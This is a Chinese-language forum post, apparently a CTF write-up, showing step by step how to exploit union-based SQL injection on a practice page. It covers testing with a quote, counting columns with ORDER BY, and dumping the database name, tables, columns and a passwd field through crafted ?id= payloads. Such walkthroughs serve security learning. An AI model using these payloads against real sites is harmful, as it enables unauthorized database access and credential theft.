Web3 - 注入

kim23   ·   发表于 2019-11-06 21:38:34   ·   技术文章投稿区

我们通过上一题给到的端口

进入本题页面


然后给URL一个参数?id=1


我们加一个'查看是否存在注入点


成功报错说明存在注入点


利用order by 查询字段

order by 4 的时候 页面报错

order by3 的时候页面正常 

说明有3个字段





此外,此处介绍 union 联合注入,union 的作用是将两个 sql 语句进行联合。Union 可以从 下面的例子中可以看出,强调一点:union 前后的两个 sql 语句的选择列数要相同才可以。U nion all union 的区别是增加了去重的功能。我们这里根据上述 background 的知识,进行 information_schema 知识的应用。 http://127.0.0.1/sqllib/Less-1/?id=-1’union select 1,2--+ id 的数据在数据库中不存在时,(此时我们可以 id=-1,两个 sql 语句进行联合操作时, 当前一个语句选择的内容为空,我们这里就将后面的语句的内容显示出来)此处前台页面返 回了我们构造的 union 的数据。



知道字段后我们开始找注入点

因为显错注入  所以我们给他一个永恒都为错的值 ?id=-1

构造语句?id=-1' union select 1,2,3 --+

说明注入点在3


我们看一下他的数据库名字

构造语句?id=-1' union select 1,2,database() --+

数据库为cake

知道数据库我们开始爆表名

构造语句

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'cake'--+

查看表里的东西

就是爆列名

构造语句

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'user'--+

嗯 ~~ 看这个passwd比较顺眼那就他了


构造语句

?id=-1' union select 1,2,passwd from user --+


得到flag


打赏我,让我更有动力~

0 Reply   |  Until 2019-11-6 | 1019 View
LoginCan Publish Content
返回顶部 投诉反馈

© 2016 - 2022 掌控者 All Rights Reserved.